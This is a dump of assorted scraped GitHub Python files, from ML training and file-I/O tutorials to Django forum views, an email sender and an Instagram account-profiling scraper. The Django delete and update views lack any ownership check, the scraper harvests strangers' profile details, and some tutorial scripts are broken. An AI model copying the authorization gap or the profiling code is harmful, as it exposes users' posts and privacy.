+{"seq_id":"30905430803","text":"import click\nimport bs4\nimport more_itertools\n\nSEP_1 = \"|-- \"\nSEP_2 = \"|---- \"\nSTYLE = \"\"\"\n\t\t\tbody {\n\tbackground: #f3f3f3;\n\t\n\t\n\t\n}\n\n[contenteditable=true]:empty:before {\n\tcontent: attr(data-placeholder);\n\tdisplay: block; /* For Firefox */\n}\n\nli[contenteditable=true]:hover, li[contenteditable=true].hovered, span[contenteditable=true]:hover, span[contenteditable=true].hovered {\n\tborder: 1px solid #ff0000;\n}\n\n.rect:hover, a.hovered {\n\tbox-shadow: inset 0 0 0 1px #ff0000;\n}\n\nli[contenteditable=true]{\n\tborder: 1px dashed #000;\n\twidth: 100%;\n\tpadding: 2px;\n\tmargin: 0 0 2px 0;\n}\n\nul {\n\tlist-style-type:none;\n}\n\nnav {\n\tbackground: #444;\n\tposition: fixed;\n\ttop: 0;\n\tleft: 0;\n\theight: 100%;\n\twidth: 5%;\n\tfont-family: \"Helvetica Neue\", Arial, sans-serif;\n}\n\nnav ul {\n\tlist-style: none;\n\tmargin-right: 1em;\n}\n\nnav li {\n\tdisplay : inline-block;\n}\n\nnav a {\n\tcolor: white;\n\ttext-decoration: none;\n}\n\nnav a:hover {\n\ttext-decoration: underline;\t\n}\n\n.container {\n\tposition: relative;\n\tmargin-left: 8%;\n\tdisplay: table;\n\theight: 100%;\n\twidth: 92%;\n}\n\n.img_container {\n\tposition: relative;\n}\n\n.column {\n\tdisplay: table-cell;\n\tvertical-align: top;\n\theight: 100%;\n\tpadding: 5px;\n\twidth: 25%;\n\tfont-size:0.8em;\n}\n\n.column:first-of-type {\n\twidth: 50%;\n}\n\n#download_button {\n\tposition: fixed;\n\tpadding: 0;\n\ttext-align: center;\n\twidth: 5%;\n\tbottom: 50px;\n}\nul { margin:0; padding:0; }\n.corrected {\n\tbackground-color: #73AD21;\n}\n\n@media all and (max-width: 1024px) {\n  .column { width:0%; }\n  .column:first-of-type { display:none; }\n}\"\"\"\n\n\n@click.command()\n@click.argument(\"files\", nargs=-1, type=click.File('r'))\n@click.option(\"-c\", \"--columns\", type=int, default=2, help=\"Number of column in pages\")\ndef transform(files, columns=2):\n    for file in files:\n        print(\"File %s \" % file.name)\n        source_html = bs4.BeautifulSoup(file.read(), features=\"html.parser\")\n        for ind_page, page in enumerate(source_html.select(\".page\")):\n            print(SEP_1+\"Reading page %s \" % ind_page)\n            for ind_col, col in enumerate(page.select(\".column\")):\n                if ind_col == 0:\n                    last_col = [col]\n                else:\n                    lines = col.select(\"li\")\n                    print(SEP_2+\"Number of lines %s \" % len(lines))\n                    lines_per_column = len(lines) // 2\n                    print(SEP_2+\"Number of lines per column: %s\" % lines_per_column)\n                    for ind_grp, group in enumerate(more_itertools.divide(columns, lines)):\n                        # Create new tags\n                        new_col = source_html.new_tag(\"div\", attrs={\"class\": \"column\"})\n                        new_ul = source_html.new_tag(\"ul\")\n                        # Insert new tags\n                        for line in group:\n                            new_ul.append(line)\n                        new_col.append(new_ul)\n                        last_col[-1].insert_after(new_col)\n                        # Register last column\n                        last_col.append(new_col)\n                    # Remove original column\n                    del col\n            print(file.name.replace(\".html\", \".modified.html\"))\n            style = source_html.find(\"style\")\n            style.string = STYLE\n            with open(file.name.replace(\".html\", \".modified.html\"), \"w\") as f:\n                f.write(str(source_html))\n\n\nif __name__ == \"__main__\":\n    transform()\n","repo_name":"PonteIneptique/toebler-ocr","sub_path":"transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":3388,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"4962376895","text":"\"\"\"\n# author Liu shi hao\n# date: 2019/12/6 17:06\n# file_name: w_r_file_test\n\n\"\"\"\n# # 非with模式\n# write_io = open(\"write_test1.dat\", mode=\"w\", encoding=\"utf-8\")\n# # 无法自动换行，需要自行加入换行符\n# write_io.write(\"第一行数据\\n\")\n# write_io.writelines([\"第二行数据\\n\", \"第三行数据\"])\n# write_io.close()\n#\n# with模式(自动关闭占用资源)\nwith open(\"write_test2.date\", \"w\", encoding=\"utf-8\") as io:\n    io.write(\"第一行数据\\n\")\n    io.writelines([\"第二行数据\\n\", \"第三行数据\"])\n\n# io.writelines(\"sa\")\n\nwith open(\"write_test2.date\", \"r\", encoding=\"utf-8\") as read_io:\n    # 规定数据，不要全部读取\n    # 用循环的方式 慢慢读取 直到结束\n    # while True:  # 按自定义字符数读取\n    #     data = read_io.read(10)\n    #     if not data:\n    #         break\n    #     print(data, end=\"\")\n\n    # while True:  # 按原行数读取\n    #     data = read_io.readline()\n    #     if not data:\n    #         break\n    #     print(data, end=\"\")\n\n    while True:\n        line = read_io.readlines(0)  # 读取之后放到列表中\n        if not line:\n            break\n        print(line)\n\n# print(read_io.readlines(2))\n","repo_name":"1987617587/lsh_py","sub_path":"basics/day25/w_r_file_test.py","file_name":"w_r_file_test.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"15776295137","text":"import json\nimport open3d as o3d\nimport keyboard\nimport os\nimport datetime\n\ndef make_dirs(path):\n    if not os.path.isdir(path):\n        os.makedirs(path)\n        os.makedirs(os.path.join(path,'bag_data'))\n        os.makedirs(os.path.join(path,'origin_ply'))\n\ntoday = datetime.date.today()\ntoday_ymd = today.strftime('%Y%m%d')\ntime = str(datetime.datetime.now().time())[:8]\n\nconfig_filename = 'src/config.json'\n\nwith open(config_filename) as cf:\n    rs_cfg = o3d.t.io.RealSenseSensorConfig(json.load(cf))\n\nsaving_dir = os.path.join('data',today_ymd)\n\nmake_dirs(saving_dir)\nbagfile = 'bag_data/cooking-'+time+'.bag'\nbag_dir = os.path.join(saving_dir,bagfile)\n\nrs = o3d.t.io.RealSenseSensor()\nrs.init_sensor(rs_cfg, 0, bag_dir)\nrs.start_capture(True)  # true: start recording with capture\n\nwhile True:\n    im_rgbd = rs.capture_frame(True, True)  # wait for frames and align them\n    # process im_rgbd.depth and im_rgbd.color\n    # if keyboard.read_key() == \"q\":\n        # break\n\nrs.stop_capture()","repo_name":"s1534/my_research","sub_path":"src/realsense/make_bag_file.py","file_name":"make_bag_file.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"2760431623","text":"#!/usr/bin/env python\n# encoding: utf-8\n'''\n@author: Sunzb\n@time: 2019/9/3 15:27\n'''\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport tensorflow as tf\nimport glob\nimport model\nimport scipy.misc\nimport argparse\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom sklearn.metrics import confusion_matrix\nfrom keras import optimizers\nfrom sklearn.model_selection import train_test_split\nfrom keras.utils import to_categorical\nfrom keras.preprocessing.image import ImageDataGenerator\nimport keras.backend as K\nK.set_image_data_format('channels_last')\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--is_test\", type=bool, default=False, help=\"testing of not\")\na = parser.parse_args()\n\nlabel_dict = {'2S1': 0, 'BMP2': 1, 'BRDM2': 2, 'BTR60': 3, 'BTR70': 4, 'D7': 5, 'T62': 6, 'T72': 7, 'ZIL131': 8,\n              'ZSU23': 9}\n\nlabel_dict_res = {v: k for k, v in label_dict.items()}\n\ninit_learning_rate = 0.0002\nmax_epochs = 800\nn_classes = 10\nimg_width = 299\nimg_height = 299\nbatch_size = 8\ncapacity = 2000\nlogs_train_dir = './model_save'\n\n\ndef get_batch_img(image, label, shuffle=False):\n    data_size = image.shape[0]\n    num_batches_per_epoch = int(len(image) / batch_size) + 1\n    # 文件名队列存放的是参与训练的文件名\n    if shuffle:\n        shuffle_indices = np.random.permutation(np.arange(data_size))\n        shuffled_data = image[shuffle_indices]\n        shuffled_label = label[shuffle_indices]\n    else:\n        shuffled_data = image\n        shuffled_label = label\n\n    for batch_num in range(num_batches_per_epoch):\n        start_index = batch_num * batch_size\n        end_index = min((batch_num + 1) * batch_size, data_size)\n        yield shuffled_data[start_index:end_index], shuffled_label[start_index:end_index]\n\n\ndef get_image(file_dir):\n    image_list, label_list = [], []\n    for label in os.listdir(file_dir):\n        # for image in glob.glob(os.path.join(file_dir, label, \"*.jpg\")):\n        for image in glob.glob(os.path.join(file_dir, label, \"*.*\")):\n            image_list.append(image)\n            label_list.append(label_dict[label])\n    print('There are %d data' % (len(image_list)))\n    size = len(image_list)\n    all_images = np.zeros([size, img_height, img_width])\n    for index, path in enumerate(image_list):\n        all_images[index] = (scipy.misc.imresize(scipy.misc.imread(path), (img_height, img_width)).astype(\n            np.float) / 255. - 0.5) * 2\n    all_images = all_images[:, :, :, np.newaxis]\n    all_label = np.array(label_list, dtype=np.int32)\n    return all_images, all_label\n\n\ndef train(train_dir):\n    image_list, label_list = get_image(train_dir)\n    (train_x, test_x, train_y, test_y) = train_test_split(image_list, label_list, test_size=0.25, random_state=42)\n    train_y = to_categorical(train_y, num_classes=n_classes)\n    test_y = to_categorical(test_y, num_classes=n_classes)\n\n\n    # 数据增广\n    aug = ImageDataGenerator(rotation_range=30, width_shift_range=0.1,\n                             height_shift_range=0.1, shear_range=0.2, zoom_range=0.2,\n                             horizontal_flip=True, fill_mode=\"nearest\")\n\n    print(\"[INFO] Compiling Model...\")\n    # network\n    inception_v4 = model.create_inception_v4(img_height, img_height, nb_classes=10, load_weight=False)\n    optimizer = optimizers.Adam(lr=init_learning_rate, decay=init_learning_rate / max_epochs)\n    inception_v4.compile(optimizer=optimizer, loss='categorical_crossentropy', metrics=['accuracy'])\n\n    print(\"[INFO] Training Network...\")\n    history = inception_v4.fit_generator(ImageDataGenerator().flow(train_x, train_y, batch_size=batch_size),\n                                         steps_per_epoch=len(train_x) // batch_size,\n                                         epochs=max_epochs,\n                                         validation_data=(test_x, test_y))\n    print(\"[INFO] Saving Model...\")\n    model_base = 'trained_model' + '.h5'\n    model.save(model_base)\n\n\nif __name__ == '__main__':\n    train_dir = './train_set/'\n    train(train_dir)\n","repo_name":"ZhiboSun/InceptionV4","sub_path":"my_CNN.py","file_name":"my_CNN.py","file_ext":"py","file_size_in_byte":4089,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"27258772651","text":"# lamda = 한줄짜리 함수 166p\n\n# 자료형: None,불린,숫자,문자열 -->실제값이 저장\n# 참조형: 리스트,튜플,세트,딕셔너리 -->주소값이 저장됨\n# 함수의 매개변수로 자료형(복붙하고 수정)을 넘길때는 값에의해 처리된다. -->원본이 안변함\n# 함수의 매개변수로 참조형(바로가기 만들고 수정)을 넘길때는 -->원본이 변함\n\n\n# lamda = 한줄짜리 함수 166p\n\n# 자료형: None,불린,숫자,문자열 -->실제값이 저장\n# 참조형: 리스트,튜플,세트,딕셔너리 -->주소값이 저장됨\n# 함수의 매개변수로 자료형(복붙하고 수정)을 넘길때는 값에의해 처리된다. -->값을 바꿔도 원본이 안변함\n# 함수의 매개변수로 참조형(바로가기 만들고 수정)을 넘길때는 -->값을 바꾸면 원본이 변함\n\ndef swap(value):\n    # a-->value[0]\n    # b-->value[1]\n    temp = value[1]\n    value[1] = value[0]\n    value[0] = temp\n    print(\"swap 안: a=\", value[0], \",b=\", value[1])\n\n\ndef main():\n\n    # 리스트 만들기\n    value = [5, 3]  # [a,b]\n    print(\"swap 전:a=\", value[0], \",b=\", value[1])\n    swap(value)\n    print(\"swap 후:a=\", value[0], \",b=\", value[1])\n\n\nmain()\n","repo_name":"eopr12/pythonmine","sub_path":"st01.Python기초/py10함수/py10_11_CallByReference.py","file_name":"py10_11_CallByReference.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"11844195709","text":"\nfrom tobacco.configuration import STOP_WORDS_SKLEARN, YEAR_COUNT, PATH_TOKENIZED\nSECTION_LENGTH = 100\n\nNETWORK_CONFIGS ={\n    'dunn':{\n        'name': 'DUNN,WL',\n        'start_year': 1960,\n        'end_year': 1980\n    },\n    'green': {\n        'name': 'Green, SJ',\n        'start_year': 1950,\n        'end_year': 1980\n    },\n}\n\nSTOP_WORDS_NETWORKS = set(STOP_WORDS_SKLEARN).union(\n        {'pgnbr', 'quot', 'amp', 'apos', '0', '1','2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14',\n         '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30',\n         'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n         'w', 'x', 'y', 'z',\n         'ocr'\n\n         # BAT additions\n         # general\n         'british', 'american', 'tobacco',\n\n         # addresses\n         'road'\n\n         # letters\n         'sending', 'note', 'file',\n\n         # enclosures\n         'enc', 'enclosed', 'copies', 'copy'\n\n         # greetings\n         'dear', 'kind', 'kindest', 'regards', 'sincerely'\n\n         # titles\n         'mr', 'mrs', 'dr', 'esq'\n\n         }).union(set(str(i) for i in range(2000)))","repo_name":"srisi/tobacco_analytics","sub_path":"tobacco/networks/networks_config.py","file_name":"networks_config.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"9294732185","text":"import requests\nfrom bs4 import BeautifulSoup\nimport time\n\nclass Instagram:\n\n    def __init__(self, config, permutations_list):\n        # 1000 ms\n        self.delay = config['plateform']['instagram']['rate_limit'] / 1000\n        # https://instagram.com/{username}\n        self.format = config['plateform']['instagram']['format']\n        self.permutations_list = permutations_list\n        # social\n        self.type = config['plateform']['instagram']['type']\n\n    # Generate all potential instagram usernames\n    def possible_usernames(self):\n        possible_usernames = []\n\n        for permutation in self.permutations_list:\n            possible_usernames.append(self.format.format(\n                permutation = permutation,\n            ))\n        return possible_usernames\n\n    def search(self):\n        instagram_usernames = {\n            \"type\": self.type,\n            \"accounts\" : []\n        }\n\n        bibliogram_URL = \"https://bibliogram.art/u/{}\"\n\n        possible_usernames_list = self.possible_usernames()\n\n        for username in possible_usernames_list:\n            try:\n                bibliogram_formatted_URL = bibliogram_URL.format(username.replace(\"https://instagram.com/\", \"\"))\n                r = requests.get(bibliogram_formatted_URL)\n            except requests.ConnectionError:\n                print(\"failed to connect to instagram\")\n            \n            # If the account exists\n            if r.status_code == 200:\n                # Account object\n                account = {}\n\n                # Get the username\n                account[\"value\"] = username\n                \n                # Parse HTML response content with beautiful soup \n                soup = BeautifulSoup(r.text, 'html.parser')\n                \n                # Scrape the user informations\n                try:\n                    user_full_name = str(soup.find_all(class_='full-name')[0].get_text()).strip()\n                    user_username = str(soup.find_all(class_='username')[0].get_text()).strip()\n                    user_bio = str(soup.find_all(class_='bio')[0].get_text()).replace(\"\\n\", \"\").strip()\n                    user_posts_count = str(soup.find_all(class_='count')[0].get_text().replace(\",\", \"\")).strip()\n                    user_following_count = str(soup.find_all(class_='count')[1].get_text().replace(\",\", \"\")).strip()\n                    user_followers_count = str(soup.find_all(class_='count')[2].get_text().replace(\",\", \"\")).strip()\n\n                    account[\"full_name\"] = {\"name\": \"Full Name\", \"value\": user_full_name}\n                    account[\"username\"] = {\"name\": \"Username\", \"value\": user_username}\n                    account[\"bio\"] = {\"name\": \"Bio\", \"value\": user_bio}\n                    account[\"posts_count\"] = {\"name\": \"Posts\", \"value\": user_posts_count}\n                    account[\"following_count\"] = {\"name\": \"Following\", \"value\": user_following_count}\n                    account[\"followers_count\"] = {\"name\": \"Followers\", \"value\": user_followers_count}\n                except:\n                    pass\n                \n                # Append the account to the accounts table\n                instagram_usernames[\"accounts\"].append(account)\n\n            time.sleep(self.delay)\n        \n        return instagram_usernames","repo_name":"Sahildholpuria/ProfileFinder","sub_path":"profil3r/modules/social/instagram.py","file_name":"instagram.py","file_ext":"py","file_size_in_byte":3272,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"77"}
+{"seq_id":"36973844840","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom .models import MessagePost\nfrom .forms import BbsPostForm\nfrom django.contrib.auth.models import User\nfrom comment.models import Comment\nfrom comment.forms import CommentForm\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.paginator import Paginator\n# Create your views here.\n\ndef index(request): # bbs_list\n    # 数据--》按一定形式处理————》传递到html可访问\n\n    posts_list =MessagePost.objects.all()\n    paginator = Paginator(posts_list,8)\n    page = request.GET.get('page')\n    posts = paginator.get_page(page)\n    context = {'posts_list':posts}\n\n    return render(request, 'bbs/list.html', context)\n\ndef post_detail(request,id):\n    post = MessagePost.objects.get(id=id)\n    post.total_views += 1\n    post.save(update_fields=['total_views'])\n    comments = Comment.objects.filter(post=id)\n    comment_form = CommentForm()\n    context = {'post':post,\n               'comments':comments,\n               'comment_form':comment_form,\n               }\n    return render(request,'bbs/detail.html',context)\n\n@login_required(login_url='/user/login/')\ndef write_post(request):\n    if request.method =='POST':\n        post_form = BbsPostForm(data=request.POST)\n        if post_form.is_valid():\n            new_post = post_form.save(commit=False)\n            new_post.author = User.objects.get(id=request.user.id)\n            new_post.save()\n            return redirect('bbs:post_list')\n        else:\n            return  HttpResponse('表单有误，请重新填写')\n    else:\n        post_form = BbsPostForm()\n        context = {'post_form':post_form}\n        return render(request,'bbs/write_bbs.html',context)\n\n@login_required(login_url='/user/login/')\ndef delete_post(request,id):\n    post = MessagePost.objects.get(id=id)\n    post.delete()\n    return redirect('bbs:post_list')\n\n@login_required(login_url='/user/login/')\ndef update_post(request, id):\n    post = MessagePost.objects.get(id=id)\n    if request.method == 'POST':\n        post_form = BbsPostForm(data=request.POST)\n        if post_form.is_valid():\n            post.title = request.POST['title']\n            post.content = request.POST['content']\n            post.save()\n            return redirect('bbs:post_detail', id=id)\n        else:\n            return HttpResponse('表单内容填写有误，请重新填写！')\n\n    else:\n        post_form = BbsPostForm()\n        context = {'post':post, 'post_form':post_form}\n        return render(request, 'bbs/update.html',context)\n\n","repo_name":"zhendeliu/web_project","sub_path":"my_web/bbs/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"18723857331","text":"import smtplib\nimport os\nfrom email import encoders\nfrom email.mime.base import MIMEBase\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\n\n\nmailName = \"Email\"\nmailPass = \"Password\"\n\ndef sendmail(sendFrom,sendTo,sendSub,sendMsg,attachment):\n    sendSub = sendSub + \"\\n\"\n    if sendFrom == \"\":\n        sendFrom = mailName\n    #sendFrom = \"From: \" + sendFrom\n\n    attachments = attachment.split(',')\n\n    outer = MIMEMultipart('Mixed')\n    outer['Subject'] = sendSub\n    outer['To'] = sendTo\n    outer['From'] = sendFrom\n    outer.preamble = 'Automated Email System.\\n'\n\n    outer.attach( MIMEText(sendMsg) )\n\n    for file in attachments:\n        if file != \"\":\n            print(file)\n            try:\n                with open(file, 'rb') as fp:\n                    msg = MIMEBase('application', \"octet-stream\")\n                    msg.set_payload(fp.read())\n                encoders.encode_base64(msg)\n                #msg.add_header('Content-Disposition', 'attachment; filename=' + file)\n                msg.add_header('Content-Disposition', 'attachment', filename=os.path.basename(file))\n                outer.attach(msg)\n            except:\n                print(\"Unable to open one of the attachments\")\n                raise\n\n\n    composed = outer.as_string()\n    \n    try:\n        server = smtplib.SMTP(\"smtp.gmail.com\",587)\n        server.ehlo()\n        server.starttls()\n        server.login(mailName, mailPass)\n        server.sendmail(sendFrom, sendTo.split(\",\"), composed)\n        server.close()\n    except smtplib.SMTPException():\n        print(\"Something went wrong!\")\n","repo_name":"tpenny35/Python-Programs","sub_path":"pymailer2.py","file_name":"pymailer2.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"15830746238","text":"import serial #Serial imported for Serial communication\r\nimport time #Required to use delay functions\r\nimport pyautogui\r\nfrom text_to_voice import Text\r\n\r\nser = serial.Serial('/dev/ttyUSB0',9600) #Create Serial port object called arduinoSerialData\r\ntime.sleep(2) #wait for 2 seconds for the communication to get established\r\nprint (ser.readline())\r\nwhile True:\r\n    incoming = str (ser.readline()) #read the serial data and print it as line\r\n    print (incoming)\r\n    \r\n    if 'Play/Pause' in incoming:\r\n        pyautogui.press(['space'])\r\n        time.sleep(3.5)\r\n\r\n    if 'Rewind' in incoming:\r\n        pyautogui.hotkey('ctrl', 'left')  \r\n\r\n    if 'Forward' in incoming:\r\n        pyautogui.hotkey('ctrl', 'right') \r\n\r\n    if 'Vup' in incoming:\r\n        pyautogui.hotkey('ctrl', 'up')\r\n        \r\n\r\n    if 'Vdown' in incoming:\r\n        pyautogui.hotkey('ctrl', 'down')\r\n\r\n    if ' userabsent' in incoming:\r\n    \tpass\r\n    \t#pyautogui.hotkey('ctrl', 'alt', 'del')\r\n    \t#time.sleep(2)\r\n    \t#pyautogui.press('enter')\r\n\r\n    incoming = \"\";\r\n    ","repo_name":"ojasbansal/Gesture-Control-VLC-media-Player","sub_path":"automation_script.py","file_name":"automation_script.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"74117300407","text":"from abc import ABC\nfrom grammar import *\nfrom codeGenerator import *\nfrom helper import *\n\nclass ExecutionTreeNode:\n    def __init__(self, constraints, expression, symbols, condition):\n        self.left = None\n        self.right = None\n        self.constraints = constraints\n        self.expression = expression\n        self.symbols = symbols\n        self.condition = condition\n\ndef insertNode(head, node):\n    if head.left:\n        insertNode(head.left, node)\n    if head.right:\n        insertNode(head.right, node)\n    else:\n        if node:\n            newNode = ExecutionTreeNode(node.constraints, node.expression, node.symbols, node.condition)\n            newNode.left = node.left\n            newNode.right = node.right\n            head.right = newNode\n\n\n\n\ndef getExecutionTree(statement, symbolTable = [], iter = 0):\n    # node to return after function execution\n    retNode = None\n\n    if (type(statement) == StatementSequence):\n        left = getExecutionTree(statement.left, symbolTable[0:])\n        right = getExecutionTree(statement.right)\n        \n        if(type(statement.left) == IfThenElse):\n            insertNode(left, right)\n        else:\n            if left.right is None:\n                left.right = right\n               \n        retNode = left\n\n    \n    elif (type(statement) == FunctionDefinition):\n        functionDef = FunctionDefinition()\n        functionDef = statement\n\n        # get function parameters list\n        symList = []\n        conList = []\n        if(functionDef.parameterList):\n            for p in functionDef.parameterList:\n                paramName = p[0].value\n                paramType = p[1].value\n                symList.append((paramName, None))\n                conList.append((paramName, paramType))\n\n        \n        funBody = ExecutionTreeNode(conList, 'Function Declaration', symList, None)\n        # process function body\n        if(functionDef.functionBody):\n            funBody.right = getExecutionTree(functionDef.functionBody)\n\n        retNode = funBody\n\n    elif (type(statement) == FunDefinition):\n        functionDef = FunDefinition()\n        functionDef = statement\n\n        # get function parameters list\n        symList = []\n        if(functionDef.parameterList):\n            for p in functionDef.parameterList:\n                varName = p.value\n                symList.append((varName, None))\n\n        \n        funBody = ExecutionTreeNode(None, 'Function Declaration', symList, None)\n        # process function body\n        if(functionDef.functionBody):\n            funBody.right = getExecutionTree(functionDef.functionBody)\n\n        retNode = funBody\n    \n    elif (type(statement) == DeclareIntVariable):\n        declare = DeclareIntVariable()\n        declare = statement\n        varName = declare.identifier.value\n        value = getExpressionValue(declare.expression)\n\n        retNode = ExecutionTreeNode(None, 'Declare Int', (varName, value), None)\n    \n    elif (type(statement) == DeclareCharVariable):\n        declare = DeclareCharVariable()\n        declare = statement\n        varName = declare.identifier.value\n        value = getExpressionValue(declare.expression)\n\n        retNode = ExecutionTreeNode(None, 'Declare Char', (varName, value), None)\n\n    elif (type(statement) == IfThenElse):\n        ifThenElse = IfThenElse()\n        ifThenElse = statement\n\n        constraints = getExpressionValue(ifThenElse.ifCondition, cloneListOfList(symbolTable))\n        thenBody = getExecutionTree(ifThenElse.thenStatement)\n\n        condition = str(generateSMTExpression(ifThenElse.ifCondition))\n        notCondition = 'Not(' + condition + ')'\n\n        if ifThenElse.elseStatement is None:\n            elseBody = None\n        else:\n            elseBody = getExecutionTree(ifThenElse.elseStatement)\n        \n        trueBranch = ExecutionTreeNode(str(constraints), 'True-Branch', None, (condition, ifThenElse.ifCondition, True))\n        trueBranch.right = thenBody\n\n        if elseBody:\n            falseBranch = ExecutionTreeNode('Not(' + str(constraints) + ')', 'False-Branch', None, (notCondition, ifThenElse.ifCondition, False))\n            falseBranch.right = elseBody\n        else:\n            falseBranch = ExecutionTreeNode('Not(' + str(constraints) + ')', 'False-Branch', None, (notCondition,ifThenElse.ifCondition, False))\n            falseBranch.right = elseBody\n        \n        ifThenNode = ExecutionTreeNode(None, 'If-Then-Else', None, None)\n        ifThenNode.left = trueBranch\n        ifThenNode.right = falseBranch\n\n        retNode = ifThenNode\n\n    elif (type(statement) == Printf):\n        node = ExecutionTreeNode(None, 'Print', None, None)\n        retNode = node\n    \n    elif (type(statement) == Assignment):\n        varName = statement.identifier.value\n        value = getExpressionValue(statement.expression)\n\n        node = ExecutionTreeNode(None, 'Assignment', (varName, value), None)\n        \n        retNode = node\n    \n    elif (type(statement) == Statement):\n        retNode = None\n    \n    elif (type(statement) == EndFile):\n        retNode = None\n    \n    else:\n        print('Unknown Statement')\n        print(type(statement))\n        retNode = None\n    \n    return retNode","repo_name":"fahadausaf/ToyLangPython","sub_path":"generateExecutionTree.py","file_name":"generateExecutionTree.py","file_ext":"py","file_size_in_byte":5172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"1771948012","text":"'''\r\nMode\tDescription\r\n'r'\t    This is the default mode. It Opens file for reading.\r\n'w'\t    This Mode Opens file for writing.\r\n            If file does not exist, it creates a new file.\r\n            If file exists it truncates the file.\r\n'x'\t    Creates a new file. If file already exists, the operation fails.\r\n'a'\t    Open file in append mode.\r\n            If file does not exist, it creates a new file.\r\n't'\t    This is the default mode. It opens in text mode.\r\n'b'\t    This opens in binary mode.\r\n'+'\t    This will open a file for reading and writing (updating)\r\n\r\nsource:  https://www.guru99.com/reading-and-writing-files-in-python.html\r\n'''\r\n\r\n\r\n## Getting Where To Save File\r\nwhere = raw_input('Where Do You Want To Save Your File? ')\r\n\r\n## Start File in Path\r\nfile = open(\"D:\\\\PythonDemoFile.txt\", \"a\")\r\nprint(file.read())\r\n\r\n## Writing It\r\nfile.write(\"Now the file has more content!\")\r\nfile.close()\r\n\r\n## Append to file\r\nfile.write(\"Appended line %d\\r\\n\" % (i + 1))","repo_name":"mjhfvi/PythonExamples","sub_path":"SaveToFile/Save To File Example.py","file_name":"Save To File Example.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"7146960815","text":"from unittest import TestCase\nfrom semparse import rnn\nimport torch\nimport qelos as q\n\n\nclass TestPointerGeneratorOut(TestCase):\n    def test_it(self):\n        nlD = \"cat dog fancy code fox bear sing aaa bb vvv ddd dsss\".split()\n        flD = \"cat dog A B C\".split()\n        nlD = dict(zip(nlD, range(len(nlD))))\n        flD = dict(zip(flD, range(len(flD))))\n        nextflDid = max(flD.values()) + 1\n        sourcemap = torch.zeros(len(nlD), dtype=torch.long)\n        for k, v in nlD.items():\n            if k not in flD:\n                flD[k] = nextflDid\n                nextflDid += 1\n            sourcemap[v] = flD[k]\n\n        class FakeOut(torch.nn.Module):\n            def __init__(self):\n                super(FakeOut, self).__init__()\n                self.out = torch.zeros(4, len(flD))\n                self.out.requires_grad = True\n\n            def forward(self, *input, **kw):\n                return self.out\n\n        out = FakeOut()\n\n        class FakeGate(torch.nn.Module):\n            def __init__(self):\n                super(FakeGate, self).__init__()\n                self.out = torch.ones(4, 2) * .5\n                self.out.requires_grad = True\n\n            def forward(self, *input, **kw):\n                return self.out\n\n        gate = FakeGate()\n        m = rnn.PointerGeneratorOut(out, sourcemap, gate)\n\n        ctx_ids = torch.arange(0, 4, dtype=torch.long)\n        ctx_ids = ctx_ids.unsqueeze(0).repeat(4, 1)\n        m.ctx_ids = ctx_ids\n        x = torch.randn(ctx_ids.size(0), 5)\n        x.requires_grad = True\n        scores = torch.zeros_like(ctx_ids).float()\n        scores.requires_grad = True\n        y = m(x, scores)\n        yg = torch.zeros_like(y)\n        yg.requires_grad = True\n        y += yg\n\n        l = q.loss.CELoss(mode=\"probs\")\n        g = torch.tensor([1, 2, 6, 6])\n        loss = l(y, g)\n        loss.backward()\n        # print(x.grad)\n        print(scores.grad)\n        print(gate.out.grad)\n        print(yg.grad)\n        print(out.out.grad)\n\n        oldyg = torch.tensor(yg.detach().numpy())\n\n        optim = torch.optim.SGD([yg], lr=1.)\n        optim.step()\n\n        # print(yg - oldyg)\n        #\n        # print()\n        #\n        # pass\n\n","repo_name":"lukovnikov/semparse","sub_path":"semparse/test_ptrgen.py","file_name":"test_ptrgen.py","file_ext":"py","file_size_in_byte":2189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
